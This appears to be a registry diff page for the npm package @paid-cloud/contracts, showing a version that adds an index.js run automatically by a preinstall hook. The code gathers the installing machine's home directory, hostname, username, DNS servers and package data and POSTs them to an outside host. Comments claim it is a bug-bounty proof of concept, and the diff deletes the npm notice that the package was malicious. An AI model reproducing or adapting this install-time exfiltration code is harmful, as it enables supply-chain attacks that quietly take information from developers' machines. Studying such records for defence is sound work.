@paid-cloud/contracts 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @paid-cloud/contracts might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +48 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //This is a PoC from:- null_hypothesis on the H1 platform, with permission from the package owner, Hyperledger
2
+ //Please do not delete for 2 hours, sorry for the hassle, but its for a legitimate pentest and to raise awareness
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const os = require("os");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const evenMoreDatas = JSON.stringify({
11
+ pac: package,
12
+ curr: __dirname,
13
+ homd: os.homedir(),
14
+ hosn: os.hostname(),
15
+ usrn: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ ver: packageJSON.version,
19
+ pj: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: evenMoreDatas,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "paidcloud-contracts.cdb4cjt2vtc0000jyq90ggi1gjoyyyyyb.mybeautifuliframe.com",
28
+ port: 443,
29
+ path: "/wp",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@paid-cloud/contracts",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "H1 research - please do not delete for 2 hours, this file is not malignant",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40paid-cloud%2Fcontracts for more information.